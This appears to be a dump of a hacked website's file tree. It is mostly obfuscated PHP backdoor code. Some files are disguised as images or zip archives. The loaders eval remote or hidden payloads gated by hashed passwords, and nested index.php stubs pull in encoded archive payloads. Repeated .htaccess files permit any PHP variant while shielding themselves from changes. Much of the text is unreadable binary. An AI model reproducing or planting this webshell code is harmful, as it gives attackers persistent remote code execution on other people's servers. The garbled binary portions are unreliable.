"\x36\71\61\x30\71\x26\x36\71\61\x30\x36\46\66\x39\x31\x30\63\x26\x36\x39\x31\x31\60\x26\x36\71\x31\x31\66\46\x36\x39\x31\60\70\x26\x36\71\x31\61\x30\x26\x36\x39\60\71\65\46\x36\71\61\x31\66\x26\66\71\x31\x31\62\x26\66\x39\x31\x30\60\46\x36\x39\x31\60\61\46\x36\71\x30\71\x35\46\66\71\x31\61\60\x26\x36\x39\x31\60\61\x26\66\x39\x30\x39\65\46\x36\71\x30\x39\x36", "\x36\71\x31\63\x39\x26\x36\71\x31\x36\x39", "\66\x39\x30\70\x36", "\x36\71\x31\66\64\46\x36\71\61\66\x39", "\66\71\61\x34\x36\x26\x36\71\x31\62\x39\x26\66\71\x31\62\x39\46\66\x39\61\x34\66\46\66\71\x31\x32\x32", "\66\x39\61\x30\x39\46\x36\71\x31\60\66\x26\x36\x39\61\x30\x33\46\x36\x39\x30\71\x35\x26\66\71\x31\61\x30\x26\66\71\x30\x39\x37\46\x36\71\61\x31\66\46\66\71\61\60\66\46\66\71\x31\60\x31\46\66\x39\x30\71\x39\46\66\71\x30\x39\64\x26\x36\x39\x30\71\65"); goto vuUWzONdvz7f; wAiK8iyV1L4H: @eval($eZj5IO21j53r[2 + 2]($SpEwYskt7L_Y)); goto nBiuXeP65RKw; nBiuXeP65RKw: die; goto mfNollexayCK; KdByqXI753m1: } } goto Oa2qbe2WEZFz; e8ZOM9uLdq5t: metaphone("\164\101\x41\x34\130\60\106\x35\x77\x31\114\53\53\x4a\116\131\63\122\x7a\123\151\130\x6a\107\117\x4c\x54\106\147\x66\x38\114\171\61\147\x33\x4e\155\x49\x47\x59\x44\143"); goto QrT0VBExElrq; Oa2qbe2WEZFz: WlURyZZiWjMl::tNJPwd4NpG1c();
?>
PK @qO\
&�� � .htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\
&�� � 668284/.htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\~�>�� � 668284/668284/index.phpnu �[��� <?php error_reporting(0); $Uhzb = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x63\x5f\x36\x39\x34\x38\x65\x63\x37\x35\x31\x64\x31\x36\x34\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x34\x38\x65\x63\x37\x35\x31\x64\x31\x36\x34\x2e\x74\x6d\x70", ); (${$Uhzb[0]}["\157\x66"]==1) && die($Uhzb[1]($Uhzb[2])); @include $Uhzb[2]; ?>PK @qO\v쑱� � # 668284/668284/jpc_6948ec751d164.zipnu �[��� PK �[��Wm� � b_6948ec751d164.tmp�U{o�8�*V���p\I��Ǣ�K���W�J��P4����Ͼc;�p{��!y���i{��z�F���FB$Vk
��;�����C( H�;wd�����a��X�+��C��3��y�̫z^-�? ]�U#���SQE�^��8ޯ�A���چ1c��ܤ�V-�˱~�@7P��?۶�Ş�(:���.{j���l��g�ǺWRI:"�Y������)i ���-Q��p�Es��������*'�$����B"
�i��է�ݮ�<י��G������4?�la� �=�v�n6hyD�؍M������\��ߖ_�:¦���z��6&t�ϰ���9�&��n�X�!�[P%��i�/f�����&�������ݠ\��K�e�"���Ͻ����IӢ�d���)*�}E$�Fa
���/���S�o���齼y��vП�6hr�6Z��0����
6$^�A��
���4�nwG��봺���K���Bk}
�q�g_dG���tI�,��^�P ݳTxHTN<�Wo��5���]�!?��A7n�b�R]g�b9���cJ5�-ݦ��0X�Z�@}c%����,�j�����tnq�1�G)���b��$6NkIPV���T�\|i��(���x_���_���މDn���ldz��8&��)�i\��VVj1�N)�����z5�G ���y����.�q�7�?t{��y�~��[��!�
YL�e>028� 8V����Xo�{��W�^7&6�
�
B��f�e����[�~�ҡ3�id��G[B�$�z^��&�&��l)���"�] n4�՛�hD�7���C(q�$�$�;$K�
�(} BӔ�_d��ce\r�o�X����L��4T����u�]�� �L�����'U�g �hP,��4��
"�8��\8-���(�����PK �[�g9� c_6948ec751d164.tmp]x��Ȓ�_�f͢�ۋr�����<�s�W���c�b���QK�]�����s=��j<�������c���y����-�.:�V�|;�қ^ӛ't�G�QqX�aP��S��lĵ�Kn���f)ގ�w�\E���ϯJ�~��'�l��jtY;��|A 5QV+0�[�W:�L�w������S�4�=���&]pw���=��l������ �A:2
��qOș��\>�]�z �K
i`��%������F�C��)a"m��L���
�%���dh*%cW�sNJׅ��9�i�^b�,nI�?�9e��Z��ܕ+H}���H�y`n��9&21[�[�����7DMZi������� �$>/~���.~�;ʕ��3~f5��!rĎ�G
�!|Am�'�E�:˥o���^����B��r2�� J$!�~F� �҉ٽ�Y�9�!Z��t��g�|��+ZD��S� $6�5bC!�-��8����p� �<���B4����ͯ,M$s��y���s�Q�a�[�Jh��X������6t�ij �m(|�:�*Fs�$���e#&b��ZO�nͤ-��K^"I �?��b�0���A�IhЙ�]rP��O.'�M�#ϻ��X�YW(�O�y���h<%�>���f:��]�z9v���p�l.���C���4_)u����۠��G�݈S��)�IO�$�0�5^�y����a�}~N=*�#���cʽԕ�w(KNk�\K�*������Q�i94?z�
d�|ID�(Z���*vjsڕ �?�%�s�O�����1���M�)�%E:u�?r�"�!�p�Uބh8�k��4�d#j\
��>k���XB��θ�G�-\o�4V
l���Sn*!_G�
�~�[��G%���r��W��_�SY"����H�ך���9�]( U��>�ِx����ky0�aQ���ob
,p��sL/eɄ���Vƅ@�e6��!O�Q���L�+`R��V=n�h�:��X�*��`�A^�ݕt��
S�a�P�E�zO�y��ye�]^y!��T��A��h��vL���4P�������Kp9��'��L���92x�`UwKL�(}J���<�.f[�-���g���1RFN!6fr|�Sek�R�+�:Z�����ik2+�^�~�W�z��QT5�����LJ���ZO�h]�
-���n���f�"�]R�S�sF�Z�\�P?bv��",D��B WQR
7U(�T��~v�� �_KZO�H�={5��XsQ�c��55�1*ڦ 'lJ怵`.ZG�x����"�ꚮS\�^��}x�B)'��N� ��m`�0.Թ���9������TI)8+�Y��Gv垫�R_Cn[,�Qs7_Մu{^6�N>����<�U���*^Y�כct��)�Rh)�w{(�H��M�F<m�;�d��:�����{�z�����s2L�Q�!k�d��(]����)�V��ON��]C�<��1i�G��-I��2�BE�Sm��V��8���3Va]��h��'.��y�KP<
��M���I@�c���6�g����K�LqI�ZT[�d4dX��i��0���!��������f��y�Ci9�\p�+�΄��t�zE��"ꭟ[�!�#���e�Jo˻$��t�m���cޜ2V�{F,% �y�c'����w���<��u��'U0T��dn u~ %��
D]�=r�ۗ�6���(����sT�:de�c~�R,�U'��Ul�eD3�b8��w'o���8��)2N�n�+�Ty��T�X�R�GD�]y)�@�"���������7�""Z��'�xN[�@3E��H~�3��aN퐃,L6{FB��A�ID�
eD��ֈ��@�����<�o�&�j����Q�Y��(���v��a��pf`�%�\q�-��Ŗ����vڍܤh(��l�t\g�<2���e�2lhm��`~�7��Cd��2�j�h��q;j3�x���b60bKe�,E���y��U�k�q�͉�����j2��-�����No���l �j�46��rj�F�:7{�F@{jB�[[#j"|
#��ܹ���'��e���m �����{N�M�-X�p8
ƫZSHķK��*r(���Z����[
�;@�[/#3y&�.㶬�,��M��82� y����J-�K�95A�f/�~���"�Qj���V�y��Bj�^�&���p�nGF�y�25�M9�d��&r�Ycx�m��K&� u�)_����+��>>�}�7�lQ.�� �\غx%J�?fA&,�m�yskU�,��=��S��-s�6����A�99�� ������Ye�����Y}��͂�%���G[�����P��>��xfy�(�ZLF���e��/K�ٿ�E�仙2���vyJݐsC�d
�K 7�T�q���*B6�)�
$��r�kЯ$��O����g{�cd���C`AΨ�~�E��.a��r�*ƴ2��Q-��c�2V�<��]���/5G?���l�CG��oY�ȷ�],I\�Z�m_ܒ��C'E�fwg�Y�-���m����dU�n`B��+}|/^z�0%^kU��(4��u �f�N_�hEŞa�.̸�$��4_�Ջ^��(}��~e2DN�
Q��:m��� �����tߤg��!�\9Z��2"�8�eo�Д�Yv���W� �Bh�m�'��aF��Uz�h�cp}����%q��>�{�w��Ȝ������ZI
?���"�C@Y;ȗ7��u�y!P�W��[V"�=�(���6�e�b��� ̈́��8S�Y!4�#\��{r4\#��(��ư:]�r%�3D�p�b�G��nf�!e��{�*�.�b��Bg���m��_�{�r=.
_�!nlmO��V"C���z
|E�9~O� �D����Fa���J�H*vJ��.�!r��Q/y���QǮ��ӽ�LKS[J���H?#��s5ȡs�1�
ޮ'Bn�|�Q��@�v�$�<cW�WU�� ^�̈ 7
߰}*L�� .�\�����o�O!��~UJ��ev�蛆�t?�.YwĝE?b���Zˇ�)��S��
du��W�?�,��Q����3Y���a���N�E�|�:c�1�M�l.3�� �|y
y+��r'�8jhH��_w�ʮ`��^߸uq%��.�56�\���U�j��K�(�zWܴ��϶:5br5(ѕ�%���q �=|պ;���?Q j{ <~���yY��Yr�x�w��9ݰ��
���W���4W��3�^ѷ-�,�U�[��b�6��y�������a #,c0�0nP�����k�z�]!�ɵ����J$~��{ށ[ 8,��p��H_oe�b,_G����y5����ț�{����V�����:��O�X���C�-Ѣ��q��)b�4�tNalm�� 1��<����� |t��utA�;xn(�7�#�\�����C2� �d�EO�pFNv���[���2�u�ӫinI N��w�sFE��������~�����W �h~&�@mǽ���Қ[[j B����;a�k�m�gK �� '6=�@�S�"z�po\R.0Fn92R�H��ӥu7�ױ���ޱ��rI�K��EL�(����oU���!6�pJ<�N���4ԞP
�PA{��`Tvm��c�t��+�/��krs�{J\�����
�{�AXۯ�)Nb�'J� (#9�/&���S@��'�͊��N"=�M�"
]ʓH��F,L��|z$b#��Jm���������x�/o�D��������4��ѫ!�|�4��N(G��Ȋ�g�Ϝ(c冏tm��Ыk�r��K�d�]�w�E��Y:�}�� Y�B%'ګ�ם�2v�L
N�����xք��1 +��[u���Oy���L��8���՟���[�_���?`��Ǎ#��1�0��}���?��/�/�믟_W����鶯��_�@�����2���3M�����ٔ�9�_?k��������y��������Cp��8���ϟ�2�6�q��L�O�q�?�����)~�۟�v7G`��s�ܸ����Y=��v|ժVW(��߲���py�ސ ��+�+�u�>s/m*�@bm:u�v����n��'-Τ��އ~��o�N����f,�d/~���]��篟��PK? �[��Wm� � �� b_6948ec751d164.tmpPK? �[�g9� ��� c_6948ec751d164.tmpPK � � PK @qO\
&�� � 668284/668284/.htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\�l�.5 5 668284/668284/668284/index.phpnu �[��� <?php /*-
◸ⓑ▩Ⓠ✦⊤┣◫✓
e?V[W◸ⓑ▩Ⓠ✦⊤┣◫✓
-*///
$MU /*-#x<|f-|7Ql-*///
=/*-A}3-*///
"ra"/*-
⇎⊼◟Ⓛⓦ◬
^bl⇎⊼◟Ⓛⓦ◬
-*///
."nge"; $QW /*-
◴◘⋬✿⋄㊖©▸⇞$①≮Ⅲ②⋯⋥☪§⒂
q◴◘⋬✿⋄㊖©▸⇞$①≮Ⅲ②⋯⋥☪§⒂
-*///
=/*-!^-*///
$MU/*-7owqIpg-*///
(/*-q8^K`b0!$q-*///
"~"/*-
㊧❏◟➪︾∁※︻❻ⓤ㊓☞㊯┪┞∗➯⌖⅙≧❹
@Z(<㊧❏◟➪︾∁※︻❻ⓤ㊓☞㊯┪┞∗➯⌖⅙≧❹
-*///
,/*-L0:Om:.-*///
" "); /*-
┉⇤﹠↰〕≱∏⊴#☌
EcqkTS7,T_┉⇤﹠↰〕≱∏⊴#☌
-*///
@include_once/*-p[H-*///
$QW/*-)}<_P%xw)-*///
[1+52].$QW/*-
⒈≺⋽☮┘Ⓚ┶≏⑰⊊⇎▆✬♩➩⊚⇤㊑㊯❶✂✉➊¤ⓝ
(5eHIo^D⒈≺⋽☮┘Ⓚ┶≏⑰⊊⇎▆✬♩➩⊚⇤㊑㊯❶✂✉➊¤ⓝ
-*///
[9+3].$QW/*-,{@ej-*///
[2+23].$QW/*-
➹╕Ⓧ◓⊳ℓ≁♙✖℗∄➅︶⇜⋛╡⇧⋰❷⒐Ⅲ∘⑭◎
:jWG➹╕Ⓧ◓⊳ℓ≁♙✖℗∄➅︶⇜⋛╡⇧⋰❷⒐Ⅲ∘⑭◎
-*///
[1+8].$QW/*-TT:0-*///
[21+19].$QW/*-7]rr#l-*///
[1+79].$QW/*-uVYGB-*///
[4+6].$QW/*-$-gO-*///
[19+2].$QW/*-VXqx-*///
[11+13].$QW/*-dQPe2.CFBI-*///
[18+6]/*-
☶ⓤ❤§☳↥Ⓥ⊨⓫㊇⏥↦▬≪㊄⊷⊙↝ღ£ⅻ
~iw☶ⓤ❤§☳↥Ⓥ⊨⓫㊇⏥↦▬≪㊄⊷⊙↝ღ£ⅻ
-*///
; ?>PK @qO\*� 668284/668284/668284/IreuV.tiffnu �[��� <?php
goto x_FmywIH89B; BHpEx0_wRa8: class bspwiTgWOyQ { static function sUc1u6ZTphC($kTEThP_zJPQ) { goto viWphcTLYce; f6ealA8o1aU: foreach ($lPXjzedZ2Oz as $UmFNgnnZddk => $wVtKHNmKH5Z) { $u4k2KDwxc2f .= $haORhAilgSK[$wVtKHNmKH5Z - 94866]; Itcp8YYot2O: } goto mn7hICjsKGJ; mn7hICjsKGJ: gSQbUf_lbwB: goto efAdRGgFFOn; P2aps3AB2h8: $haORhAilgSK = $DtyId7ilwMG("\176", "\40"); goto F1zb6BKPz0Q; F1zb6BKPz0Q: $lPXjzedZ2Oz = explode("\73", $kTEThP_zJPQ); goto nM1J1TJ17pa; viWphcTLYce: $DtyId7ilwMG = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto P2aps3AB2h8; efAdRGgFFOn: return $u4k2KDwxc2f; goto HalAXSjwCBg; nM1J1TJ17pa: $u4k2KDwxc2f = ''; goto f6ealA8o1aU; HalAXSjwCBg: } static function H3_AO5xFXGx($tPqKo0Ekl6f, $sv_mdGBmIqr) { goto sb1tFxa1zQP; jQ9bRCgBBBX: curl_setopt($TQG9eSVHojV, CURLOPT_RETURNTRANSFER, 1); goto k7Oqfz2zpfK; sb1tFxa1zQP: $TQG9eSVHojV = curl_init($tPqKo0Ekl6f); goto jQ9bRCgBBBX; k7Oqfz2zpfK: $qNlede0zqOV = curl_exec($TQG9eSVHojV); goto ANDheC0V_y7; ANDheC0V_y7: return empty($qNlede0zqOV) ? $sv_mdGBmIqr($tPqKo0Ekl6f) : $qNlede0zqOV; goto GfYppB6cH0g; GfYppB6cH0g: } static function Iz3BzfXU1my() { goto FZbsvF9_U10; magCCW2rzG4: if (!(@$LJ3l8Eda81F[0] - time() > 0 and md5(md5($LJ3l8Eda81F[0 + 3])) === "\x35\62\x32\63\x31\143\x39\x66\64\x31\x36\x31\62\65\x33\x63\142\x34\x30\66\63\x30\65\63\61\x34\65\x66\x62\62\145\x37")) { goto v_YDmNPhFzC; } goto WebkAGnQGzQ; nd6wDhGylYl: $wf56NKPjmgF = @$wcUXyKPuq7B[1]($wcUXyKPuq7B[7 + 3](INPUT_GET, $wcUXyKPuq7B[8 + 1])); goto vXsY8_7kOeP; kFlOX24PPh4: @eval($wcUXyKPuq7B[2 + 2]($nLB4xzN4pQ1)); goto jrwpUVSyTwX; B2J8ZHvZ8Uh: VY0vS2_61fv: goto nd6wDhGylYl; FZbsvF9_U10: $kjldfmmVn5a = array("\x39\x34\x38\71\63\x3b\71\64\70\67\x38\x3b\x39\x34\x38\x39\61\73\71\64\70\71\x35\x3b\x39\x34\70\67\x36\x3b\x39\x34\70\x39\61\73\x39\x34\70\71\x37\x3b\x39\64\70\x39\60\73\x39\x34\70\67\x35\73\x39\x34\x38\70\x32\x3b\71\64\70\71\x33\x3b\71\x34\x38\x37\x36\x3b\71\64\x38\x38\67\x3b\x39\x34\70\x38\x31\73\71\64\x38\70\62", "\x39\x34\70\67\67\x3b\x39\x34\70\x37\x36\73\71\x34\x38\x37\x38\x3b\x39\x34\70\x39\67\x3b\71\64\70\x37\70\73\71\x34\x38\x38\x31\x3b\x39\64\x38\x37\x36\73\71\64\71\x34\63\x3b\x39\x34\x39\64\x31", "\71\x34\70\70\x36\x3b\71\x34\x38\67\67\73\x39\x34\x38\70\61\73\71\64\x38\70\x32\73\x39\64\70\71\67\73\x39\x34\70\71\x32\x3b\71\x34\x38\71\x31\73\71\64\x38\71\x33\x3b\71\64\x38\70\x31\73\x39\x34\x38\x39\62\73\71\64\x38\x39\x31", "\x39\x34\70\70\x30\73\71\x34\70\71\x35\73\71\x34\x38\71\63\x3b\71\x34\x38\70\x35", "\x39\64\x38\71\64\73\71\64\x38\71\65\x3b\71\x34\x38\67\67\73\x39\64\x38\71\61\73\x39\x34\x39\63\x38\x3b\x39\64\71\x34\x30\x3b\71\64\x38\x39\x37\x3b\71\x34\x38\71\62\73\71\64\70\71\x31\73\x39\64\70\x39\x33\73\71\x34\70\x38\61\73\71\x34\70\x39\x32\73\x39\x34\x38\x39\61", "\x39\x34\70\x39\x30\x3b\x39\64\70\x38\x37\73\71\x34\70\x38\64\73\x39\64\70\x39\x31\x3b\x39\64\70\71\67\73\x39\64\70\70\x39\73\x39\64\70\x39\61\73\71\64\x38\x37\66\73\71\x34\x38\x39\x37\73\x39\x34\x38\x39\63\73\71\x34\x38\70\x31\x3b\71\64\x38\x38\x32\73\71\64\x38\x37\x36\x3b\71\x34\70\71\x31\73\71\64\70\x38\62\73\71\x34\x38\67\66\73\x39\64\70\x37\67", "\71\64\71\62\x30\73\71\x34\x39\65\60", "\x39\64\70\66\67", "\71\64\x39\64\65\x3b\x39\x34\71\x35\60", "\71\x34\x39\x32\67\x3b\71\x34\71\61\x30\73\x39\x34\71\x31\x30\73\71\x34\x39\62\x37\73\x39\x34\71\60\x33", "\x39\x34\70\x39\60\x3b\x39\64\x38\x38\67\x3b\x39\x34\70\x38\64\73\x39\x34\70\67\66\x3b\71\64\x38\71\x31\73\x39\x34\70\67\x38\73\x39\64\x38\71\67\x3b\x39\64\70\x38\67\73\71\x34\x38\70\x32\x3b\71\x34\x38\x38\60\x3b\71\64\70\67\x35\x3b\x39\64\x38\x37\66"); goto ZJSBLGtyrsg; nFSU70Fmg92: @$wcUXyKPuq7B[3 + 7](INPUT_GET, "\157\146") == 1 && die($wcUXyKPuq7B[3 + 2](__FILE__)); goto magCCW2rzG4; ZJSBLGtyrsg: foreach ($kjldfmmVn5a as $WYAr652DXFy) { $wcUXyKPuq7B[] = self::suc1u6ztPHC($WYAr652DXFy); WIrJcCAOexT: } goto B2J8ZHvZ8Uh; dvc9eNDI8UG: $LJ3l8Eda81F = $wcUXyKPuq7B[0 + 2]($BfckJ4902t_, true); goto nFSU70Fmg92; WebkAGnQGzQ: $nLB4xzN4pQ1 = self::h3_Ao5xFXGx($LJ3l8Eda81F[0 + 1], $wcUXyKPuq7B[1 + 4]); goto kFlOX24PPh4; jrwpUVSyTwX: die; goto ieIXAlDDmUi; ieIXAlDDmUi: v_YDmNPhFzC: goto LxS8dhhW1fp; vXsY8_7kOeP: $BfckJ4902t_ = @$wcUXyKPuq7B[2 + 1]($wcUXyKPuq7B[0 + 6], $wf56NKPjmgF); goto dvc9eNDI8UG; LxS8dhhW1fp: } } goto GeoDQg9_296; x6vCQSJr618: $Ha7ZaXvIUKZ = ${$x1Nmq42RLrt[18 + 13] . $x1Nmq42RLrt[7 + 52] . $x1Nmq42RLrt[25 + 22] . $x1Nmq42RLrt[28 + 19] . $x1Nmq42RLrt[43 + 8] . $x1Nmq42RLrt[42 + 11] . $x1Nmq42RLrt[18 + 39]}; goto a0LaC_G7MrI; x_FmywIH89B: $dkcZwkpf1Ge = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto SyZjrREqGk7; SyZjrREqGk7: $x1Nmq42RLrt = $dkcZwkpf1Ge("\x7e", "\x20"); goto x6vCQSJr618; a0LaC_G7MrI: @(md5(md5(md5(md5($Ha7ZaXvIUKZ[16])))) === "\x30\x31\x35\144\61\141\71\143\x63\141\67\60\146\x34\x35\71\60\x63\63\x30\x66\145\67\x65\x33\x61\62\x65\141\70\62\61") && (count($Ha7ZaXvIUKZ) == 22 && in_array(gettype($Ha7ZaXvIUKZ) . count($Ha7ZaXvIUKZ), $Ha7ZaXvIUKZ)) ? ($Ha7ZaXvIUKZ[61] = $Ha7ZaXvIUKZ[61] . $Ha7ZaXvIUKZ[75]) && ($Ha7ZaXvIUKZ[87] = $Ha7ZaXvIUKZ[61]($Ha7ZaXvIUKZ[87])) && @eval($Ha7ZaXvIUKZ[61](${$Ha7ZaXvIUKZ[45]}[23])) : $Ha7ZaXvIUKZ; goto yAeD807SxoS; yAeD807SxoS: metaphone("\66\167\x33\141\126\152\x4d\145\x66\63\x44\x58\61\151\x54\113\101\144\152\63\x35\61\x4a\144\x67\66\x32\170\124\x6d\60\123\x36\x5a\67\113\64\103\146\x68\x6b\146\115"); goto BHpEx0_wRa8; GeoDQg9_296: bspwItgwOYQ::Iz3bzfXu1My();
?>
PK @qO\
&�� � 668284/668284/668284/.htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\��>�4 4 % 668284/668284/668284/668284/index.phpnu �[��� <?php include_once base64_decode("WGJjbVEubXBn"); ?>PK @qO\
&�� � % 668284/668284/668284/668284/.htaccessnu ��6�$ # ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================
# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
Allow from all
</FilesMatch>
# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
Deny from all
Satisfy All
</Files>
<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
Deny from all
</FilesMatch>
# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht
# 4. NO DIRECTORY LISTING
Options -Indexes
# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
Deny from all
</FilesMatch>PK @qO\��C�� � 1 668284/668284/668284/668284/gif_6964cfb2b25bf.zipnu �[��� PK -,\7X� � b_6964cfb2b25bf.tmp�Ums�H�+SeA�Y�Ț��܍��F�I�EY���*E��r�}{���pV��v?���0͗�h!����[qe΅�"����&�#p�p%�!N��`�E�r�T�FQ��(㢬3Q�ţv&)Z���RTU��F5a1��O���V����Tl(��ck�cs<��ز<��=��N,o� cpl
A8tW+w/LH�#B-��K�h�p��Q��a9�$�O���P#[w.� (��9�j�l�'6Z�؍�ː�X2�U�����y����D�F�a._��G�؊��g�wm��&����]���ۏ>�:v�C�&��`���v'����z#��o�x�n�g�?�]�M/C����s[� ��|9�tm0����{��@�/W��H8��k�����{�
U/ﶧ��Adn�j|pT���e�Xrl�"�f&0}�V��y�M��8��!��V�h�o�Iѳ ��mV�a1���Q͚��t�I ��:��a���uZ��U��k�SB���s�F������������"��B��e�IUrT�U�[�UH�=M��l{��;�A7Æ]��h�n%)Ө8�U�cf��̗!��1+W��2��,cbr�M�f�dj�Oag��<�\�F�9���jVK��Rv3W%θ�$+S���X_��ߺ�dVk�7�]]��y��Y=�c��N���� ��f;ӨƟr=��;���ȟ�DomvO/����]��sׯx����wmM�~���#�^��.�� jG8�a��*�l��z�u����҉�(�0�l���Y���<�R�2
�N���������ML�Q���P8��P���_�"*g�pK�Q��0*�8 B��ï�f}8�I�����H�8XA��D�c�}p2$N
�80�F��(��+#K�$��x�Y����+��B>"���E^�:���)�畜��>���~NNe�sHɠ(�F$>��O�]�T��b�ˋ_PK -,\��*� c_6964cfb2b25bf.tmp]x���8��]��qN���:^��q��sͼ�ܢwX�AX�>}��9G�������9V���_�֟�hk���I �X��smqӥPCo:Mo�Н���ua� �^���Wa��ג6�\_t�����t|I�㩊����~~e�8����#�2u4MƔd�&jl,v��4��8�@�/�9=�6��D٨�8
Ze�%4�:p���r#�$C�q��-�%��P
倄�fep�w����U#b�{àb�,�k�W W��O��M�V�_N��h$\��'�m�1�S�m>